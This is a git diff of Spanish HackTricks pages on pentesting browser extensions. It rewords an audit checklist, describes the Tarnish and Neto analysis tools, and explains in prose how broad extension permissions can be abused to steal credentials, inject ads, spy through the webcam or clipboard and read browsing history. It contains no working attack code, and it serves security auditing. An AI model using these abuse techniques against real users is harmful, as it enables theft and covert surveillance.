cada extensión, el archivo `manifest.json` contiene un campo `name` legible, lo que te ayuda a identificar la extensión. + +### Utilizar un Archivador de Archivos o Desempaquetador + +Ve a la Chrome Web Store y descarga la extensión. El archivo tendrá una extensión `.crx`. +Cambia la extensión del archivo de `.crx` a `.zip`. +Utiliza cualquier archivador de archivos (como WinRAR, 7-Zip, etc.) para extraer el contenido del archivo ZIP. + +### Utilizar el Modo Desarrollador en Chrome + +Abre Chrome y ve a `chrome://extensions/`. +Habilita "Modo desarrollador" en la esquina superior derecha. +Haz clic en "Cargar extensión sin empaquetar...". +Navega al directorio de tu extensión. +Esto no descarga el código fuente, pero es útil para ver y modificar el código de una extensión ya descargada o desarrollada. ## Lista de Verificación de Auditoría de Seguridad -Aunque las Extensiones de Navegador tienen una **superficie de ataque limitada**, algunas pueden contener **vulnerabilidades** o **posibles mejoras de endurecimiento**. Las más comunes son: +Aunque las Extensiones del Navegador tienen una **superficie de ataque limitada**, algunas de ellas podrían contener **vulnerabilidades** o **mejoras potenciales de endurecimiento**. Las siguientes son las más comunes: -* [ ] **Limitar** tanto como sea posible los **`permissions`** solicitados +* [ ] **Limitar** tanto como sea posible los **`permisos`** solicitados * [ ] **Limitar** tanto como sea posible los **`host_permissions`** -* [ ] Usar una **fuerte** **`content_security_policy`** -* [ ] **Limitar** tanto como sea posible el **`externally_connectable`**, si no se necesita y es posible, no dejarlo por defecto, especificar **`{}`** -* [ ] Si se menciona aquí una **URL vulnerable a XSS o a toma de control**, un atacante podrá **enviar mensajes a los scripts de fondo directamente**. Un bypass muy poderoso. +* [ ] Utilizar una **`content_security_policy`** **fuerte** +* [ ] **Limitar** tanto como sea posible los **`externally_connectable`**, si no se necesita ninguno y es posible, no dejarlo por defecto, especificar **`{}`** +* [ ] Si se menciona una **URL vulnerable a XSS o a toma de control**, un atacante podrá **enviar mensajes directamente a los scripts de fondo**. Un bypass muy poderoso. * [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacío si es posible. * [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md) -* [ ] Si ocurre alguna **comunicación** desde la **extensión** a la **página web**, [**verificar vulnerabilidades de XSS**](browext-xss-example.md) causadas en la comunicación. -* [ ] Si se usan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.** -* [ ] Si el **Content Script accede a detalles del DOM**, verificar que no estén **introduciendo un XSS** si se **modifican** por la web -* [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación Content Script -> Script de fondo** -* [ ] **No se debe almacenar información sensible** dentro del código de la Extensión de Navegador -* [ ] **No se debe almacenar información sensible** dentro de la memoria de la Extensión de Navegador +* [ ] Si hay alguna **comunicación** desde la **extensión** a la **página web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación. +* [ ] Si se utilizan Mensajes Post, verificar [**vulnerabilidades de Mensajes Post**](../postmessage-vulnerabilities/)**.** +* [ ] Si el **Script de Contenido accede a detalles del DOM**, verificar que no estén introduciendo un XSS si son **modificados** por la web +* [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación del Script de Contenido -> Script de Fondo** +* **La información sensible no debe ser almacenada** dentro del código de la Extensión del Navegador +* **La información sensible no debe ser almacenada** en la memoria de la Extensión del Navegador ## Herramientas ### [**Tarnish**](https://thehackerblog.com/tarnish/) -* Extrae cualquier extensión de Chrome de un enlace proporcionado de la tienda web de Chrome. -* **Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión en JSON bonito del manifiesto de la extensión. -* **Análisis de Huellas Digitales**: Detección de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) y generación automática de JavaScript para la toma de huellas digitales de extensiones de Chrome. +* Extrae cualquier extensión de Chrome desde un enlace proporcionado de la tienda web de Chrome. +* **Visor de manifest.json**: simplemente muestra una versión JSON embellecida del manifiesto de la extensión. +* **Análisis de Huella Digital**: Detección de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) y generación automática de JavaScript de huella digital de extensión de Chrome. * **Análisis Potencial de Clickjacking**: Detección de páginas HTML de extensión con la directiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas. -* **Visualizador de Advertencias de Permisos**: que muestra una lista de todas las advertencias de solicitud de permisos de Chrome que se mostrarán al usuario al intentar instalar la extensión. -* **Funciones Peligrosas**: muestra la ubicación de funciones peligrosas que podrían ser explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript). -* **Puntos de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de ataque de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión. -* Tanto el escáner de Funciones Peligrosas como el de Puntos de Entrada tienen lo siguiente para sus alertas generadas: +* **Visor de Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán al intentar instalar la extensión. +* **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript). +* **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para comprender el área de superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión. +* Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas: * Fragmento de código relevante y línea que causó la alerta. * Descripción del problema. * Un botón "Ver Archivo" para ver el archivo fuente completo que contiene el código. @@ -570,17 +575,17 @@ Aunque las Extensiones de Navegador tienen una **superficie de ataque limitada** * La URI completa de la extensión de Chrome del archivo alertado. * El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción del Navegador, etc. * Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluido, así como el tipo de estas páginas y el estado de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources). -* **Analizador de Política de Seguridad de Contenido (CSP) y verificador de bypass**: Esto señalará debilidades en la CSP de tu extensión y también iluminará cualquier forma potencial de eludir tu CSP debido a CDNs en la lista blanca, etc. -* **Bibliotecas Vulnerables Conocidas**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas de JavaScript conocidas por ser vulnerables. -* Descargar extensiones y versiones formateadas. +* **Analizador y verificador de Bypass de Política de Seguridad de Contenido (CSP)**: Esto señalará debilidades en la CSP de tu extensión y también iluminará cualquier forma potencial de eludir tu CSP debido a CDNs en lista blanca, etc. +* **Bibliotecas Vulnerables Conocidas**: Utiliza [Retire.js](https://retirejs.github.io/retire.js) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables. +* Descargar extensión y versiones formateadas. * Descargar la extensión original. -* Descargar una versión embellecida de la extensión (HTML y JavaScript automáticamente bonitos). -* Caché automático de resultados de análisis, realizar un análisis de extensión tomará un buen tiempo la primera vez que se ejecute. Sin embargo, la segunda vez, asumiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché. -* URLs de Reportes Enlazables, enlaza fácilmente a alguien más a un informe de extensión generado por tarnish. +* Descargar una versión embellecida de la extensión (HTML y JavaScript auto embellecidos). +* Caché automático de los resultados del escaneo, ejecutar un escaneo de extensión tomará una buena cantidad de tiempo la primera vez que lo ejecutes. Sin embargo, la segunda vez, asumiendo que la extensión no se haya actualizado, será casi instantánea debido a que los resultados están en caché. +* URLs de Informes Enlazables, enlaces fáciles para compartir un informe de extensión generado por tarnish. ### [Neto](https://github.com/elevenpaths/neto) -El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de plugins y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML. +El Proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de complementos y extensiones de navegadores conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML. ## Referencias @@ -593,17 +598,18 @@ El proyecto Neto es un paquete de Python 3 concebido para analizar y desentraña * [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) * [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages) * [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) +* [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking de AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github. +* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index fe74788c8..5d8ada270 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,16 +1,16 @@ -# BrowExt - permisos & host\_permissions +# BrowExt - permisos y host_permissions
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@@ -18,21 +18,21 @@ Otras formas de apoyar a HackTricks: ### **`permissions`** -Los permisos se definen en el archivo **`manifest.json`** de la extensión utilizando la propiedad **`permissions`** y permiten el acceso a casi todo lo que un navegador puede acceder (Cookies o Almacenamiento Físico): +Los permisos se definen en el archivo **`manifest.json`** de la extensión utilizando la propiedad **`permissions`** y permiten acceder a casi todo a lo que un navegador puede acceder (Cookies o Almacenamiento Físico): -El manifiesto anterior declara que la extensión requiere el permiso `storage`. Esto significa que puede usar [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para guardar sus datos de manera persistente. A diferencia de las APIs de cookies o `localStorage` que ofrecen a los usuarios cierto nivel de control, **el almacenamiento de la extensión normalmente solo se puede borrar desinstalando la extensión**. +El manifiesto anterior declara que la extensión requiere el permiso `storage`. Esto significa que puede utilizar [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para almacenar sus datos de forma persistente. A diferencia de las cookies o las APIs `localStorage` que dan a los usuarios cierto nivel de control, **el almacenamiento de la extensión normalmente solo se puede borrar desinstalando la extensión**. -Una extensión solicitará los permisos indicados en su archivo **`manifest.json`** y después de instalar la extensión, puedes **siempre verificar sus permisos en tu navegador**, como se muestra en esta imagen: +Una extensión solicitará los permisos indicados en su archivo **`manifest.json`** y después de instalar la extensión, siempre puedes **verificar sus permisos en tu navegador**, como se muestra en esta imagen:
-Puedes encontrar la [**lista completa de permisos que una Extensión de Navegador Chromium puede solicitar aquí**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) y una [**lista completa para extensiones de Firefox aquí**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** +Puedes encontrar la [**lista completa de permisos que una Extensión de Navegador Chromium puede solicitar aquí**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) y una [**lista completa para extensiones de Firefox aquí**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ### `host_permissions` -La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión va a poder interactuar a través de apis como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). +La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). -Los siguientes `host_permissions` básicamente permiten todo en la web: +Los siguientes `host_permissions` básicamente permiten a cualquier web: ```json "host_permissions": [ "*://*/*" @@ -49,77 +49,75 @@ Los siguientes `host_permissions` básicamente permiten todo en la web: "" ] ``` -Estos son los hosts a los que la extensión del navegador puede acceder libremente. Esto se debe a que cuando una extensión del navegador llama a **`fetch("https://gmail.com/")`**, no está restringida por CORS. +Estos son los hosts a los que la extensión del navegador puede acceder libremente. Esto se debe a que cuando una extensión del navegador llama a **`fetch("https://gmail.com/")`** no está restringida por CORS. ## Abusando de `permissions` y `host_permissions` ### Pestañas -Además, **`host_permissions`** también desbloquean la funcionalidad "avanzada" de la [**API de pestañas**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Permiten que la extensión llame a [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) y no solo obtenga una **lista de las pestañas del navegador del usuario** sino que también aprenda qué **página web (es decir, dirección y título) está cargada**. +Además, **`host_permissions`** también desbloquean la funcionalidad "avanzada" de la [API de pestañas](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Permiten que la extensión llame a [tabs.query()](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) y no solo obtenga una **lista de pestañas del navegador del usuario**, sino también sepa qué **página web (dirección y título) está cargada**. {% hint style="danger" %} -No solo eso, los oyentes como [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **también se vuelven mucho más útiles**. Estos serán notificados cada vez que una nueva página se cargue en una pestaña. +No solo eso, los listeners como [**tabs.onUpdated**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **también se vuelven mucho más útiles**. Serán notificados cada vez que una nueva página se cargue en una pestaña. {% endhint %} -### Ejecutando scripts de contenido +### Ejecución de scripts de contenido -Los scripts de contenido no necesariamente se escriben estáticamente en el manifiesto de la extensión. Dados suficientes **`host_permissions`**, **las extensiones también pueden cargarlos dinámicamente llamando a** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **o** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Los scripts de contenido no necesariamente están escritos estáticamente en el manifiesto de la extensión. Con suficientes **`host_permissions`**, las **extensiones también pueden cargarlos dinámicamente llamando** [**tabs.executeScript()**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **o** [**scripting.executeScript()**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). -Ambas API permiten ejecutar no solo archivos contenidos en las extensiones como scripts de contenido sino también **código arbitrario**. La primera permite pasar código JavaScript como una cadena, mientras que la segunda espera una función JavaScript, lo cual es menos propenso a vulnerabilidades de inyección. Aún así, ambas API pueden causar estragos si se usan incorrectamente. +Ambas APIs permiten ejecutar no solo archivos contenidos en las extensiones como scripts de contenido, sino también **código arbitrario**. La primera permite pasar código JavaScript como una cadena, mientras que la segunda espera una función JavaScript que es menos propensa a vulnerabilidades de inyección. Aun así, ambas APIs causarán estragos si se usan incorrectamente. {% hint style="danger" %} -Además de las capacidades anteriores, los scripts de contenido podrían, por ejemplo, **interceptar credenciales** a medida que se ingresan en las páginas web. Otra forma clásica de abusar de ellos es **inyectar publicidad** en cada sitio web. Agregar **mensajes de estafa** para abusar de la credibilidad de los sitios web de noticias también es posible. Finalmente, podrían **manipular sitios web bancarios** para desviar transferencias de dinero. +Además de las capacidades mencionadas anteriormente, los scripts de contenido podrían, por ejemplo, **interceptar credenciales** a medida que se ingresan en páginas web. Otra forma clásica de abusar de ellos es **inyectar publicidad** en cada sitio web. Agregar **mensajes de estafa** para abusar de la credibilidad de los sitios de noticias también es posible. Finalmente, podrían **manipular sitios web** bancarios para redirigir transferencias de dinero. {% endhint %} ### Privilegios implícitos -Algunos privilegios de extensión **no tienen que declararse explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas. +Algunos privilegios de extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá con qué sitio web corresponden esas pestañas. -¿Suena demasiado inofensivo? La API [tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos inofensiva. Se puede usar para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**. +¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es un poco menos inofensiva. Se puede usar para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/es/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**. {% hint style="danger" %} -Una extensión puede crear cualquier número de pestañas cuando quiera. +Una extensión puede crear cualquier cantidad de pestañas cuando lo desee. {% endhint %} -Si revisas los posibles parámetros de `tabs.create()`, también notarás que sus capacidades van mucho más allá de lo que `window.open()` tiene permitido controlar. Y mientras que Firefox no permite usar URIs `data:` con esta API, Chrome no tiene tal protección. **El uso de tales URIs en el nivel superior ha sido** [**prohibido por ser abusado para phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +Si revisas los posibles parámetros de `tabs.create()`, también notarás que sus capacidades van mucho más allá de lo que `window.open()` está permitido a controlar. Y mientras Firefox no permite que se utilicen URIs `data:` con esta API, Chrome no tiene tal protección. El **uso de dichas URIs en el nivel superior ha sido** [**prohibido debido a su abuso para phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) es muy similar a `tabs.create()` pero **modificará una pestaña existente**. Entonces, una extensión maliciosa puede, por ejemplo, cargar arbitrariamente una página de publicidad en una de tus pestañas y también puede activar la pestaña correspondiente. +[**tabs.update()**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) es muy similar a `tabs.create()` pero **modificará una pestaña existente**. Por lo tanto, una extensión maliciosa puede, por ejemplo, cargar arbitrariamente una página de publicidad en una de tus pestañas, y también puede activar la pestaña correspondiente. -### Webcam, geolocalización y amigos +### Cámara web, geolocalización y amigos -Probablemente sepas que los sitios web pueden solicitar permisos especiales, por ejemplo, para acceder a tu webcam (herramientas de videoconferencia) o ubicación geográfica (mapas). Son características con considerable potencial de abuso, por lo que los usuarios tienen que confirmar cada vez que todavía quieren esto. +Probablemente sepas que los sitios web pueden solicitar permisos especiales, por ejemplo, para acceder a tu cámara web (herramientas de videoconferencia) o ubicación geográfica (mapas). Son funciones con un considerable potencial de abuso, por lo que los usuarios deben confirmar cada vez que desean permitirlo. {% hint style="danger" %} -No es así con las extensiones de navegador. **Si una extensión del navegador** [**quiere acceder a tu webcam o micrófono**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, solo necesita pedir permiso una vez** +No es así con las extensiones del navegador. **Si una extensión del navegador** [**quiere acceder a tu cámara web o micrófono**](https://developer.mozilla.org/es/docs/Web/API/MediaDevices/getUserMedia)**, solo necesita pedir permiso una vez** {% endhint %} -Típicamente, una extensión lo hará inmediatamente después de ser instalada. Una vez que se acepta este aviso, **el acceso a la webcam es posible en cualquier momento**, incluso si el usuario no está interactuando con la extensión en ese momento. Sí, un usuario solo aceptará este aviso si la extensión realmente necesita acceso a la webcam. Pero después de eso, tienen que confiar en que la extensión no grabará nada en secreto. +Normalmente, una extensión lo hará inmediatamente después de ser instalada. Una vez que se acepta este aviso, **el acceso a la cámara web es posible en cualquier momento**, incluso si el usuario no está interactuando con la extensión en ese momento. Sí, un usuario solo aceptará este aviso si la extensión realmente necesita acceso a la cámara web. Pero después de eso, debe confiar en que la extensión no grabará nada en secreto. -Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenidos de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la entrada de** [**permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Por lo tanto, una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta de nada. +Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/es/docs/Web/API/Geolocation) o [contenido de tu portapapeles](https://developer.mozilla.org/es/docs/Web/API/Clipboard_API), no es necesario otorgar permiso explícitamente. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Por lo tanto, una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta. -Agregar la palabra clave **`history`** a la entrada de [permisos](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifiesto de la extensión otorga **acceso a la** [**API de historial**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Permite recuperar todo el historial de navegación del usuario de una vez, sin esperar a que el usuario visite estos sitios web nuevamente. +Agregar la palabra clave **`history`** a la [entrada de permisos](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifiesto de la extensión otorga **acceso a la** [**API de historial**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/history). Permite recuperar todo el historial de navegación del usuario de una vez, sin esperar a que el usuario visite estos sitios web nuevamente. -El **permiso `bookmarks`** tiene un potencial de abuso similar, este permite **leer todos los marcadores a través de la** [**API de marcadores**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +El permiso **`bookmarks`** tiene un potencial de abuso similar, este permite **leer todos los marcadores a través de la** [**API de marcadores**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). ### Permiso de almacenamiento -El almacenamiento de la extensión es simplemente una colección de clave-valor, muy similar a [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) que cualquier sitio web podría usar. Por lo tanto, no se debe almacenar información sensible aquí. +El almacenamiento de la extensión es simplemente una colección de clave-valor, muy similar a [localStorage](https://developer.mozilla.org/es/docs/Web/API/Window/localStorage) que cualquier sitio web podría usar. Por lo tanto, no se debe almacenar información sensible aquí. -Sin embargo, las empresas de publicidad también podrían abusar de este almacenamiento. +Sin embargo, las compañías de publicidad también podrían abusar de este almacenamiento. ### Más permisos -Puedes encontrar la [**lista completa de permisos que una Extensión del Navegador Chromium puede solicitar aquí**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) y una [**lista completa para extensiones de Firefox aquí**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Puedes encontrar la [**lista completa de permisos que una Extensión de Navegador Chromium puede solicitar aquí**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) y una [**lista completa para extensiones de Firefox aquí**](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ## Prevención -Las políticas para desarrolladores de Google [prohíben explícitamente](https://developer.chrome.com/docs/webstore/program_policies/#permissions) solicitar más privilegios de los necesarios para que la extensión funcione. En mi experiencia, esta regla de hecho funciona. Solo puedo pensar en un caso en el que una extensión del navegador [solicitó demasiados privilegios](https://palant.info/2020/01/13/pwning-avast-secure-browser-for-fun-and-profit/#selecting-a-target), y esta extensión en particular se distribuía con el navegador en lugar de a través de alguna tienda de complementos. +La política de los desarrolladores de Google prohíbe explícitamente a las extensiones solicitar más privilegios de los necesarios para su funcionalidad, mitigando efectivamente las solicitudes excesivas de permisos. Un caso en el que una extensión del navegador sobrepasó este límite involucró su distribución con el propio navegador en lugar de a través de una tienda de complementos. -En algunos casos, los navegadores podrían hacerlo mejor para **limitar el potencial de abuso** de los privilegios de las extensiones. Por ejemplo, Chrome permite la grabación de pantalla a través de las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) o [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/). El potencial de abuso es bajo porque la primera solo se puede iniciar como **respuesta a una acción del usuario** (típicamente haciendo clic en el icono de la extensión) mientras que la segunda muestra un aviso para seleccionar la ventana de la aplicación a grabar. Ambos son suficientes para evitar que las extensiones comiencen a grabar en silencio en segundo plano. +Los navegadores podrían limitar aún más el uso indebido de los privilegios de extensión. Por ejemplo, las APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede activarse a través de interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que 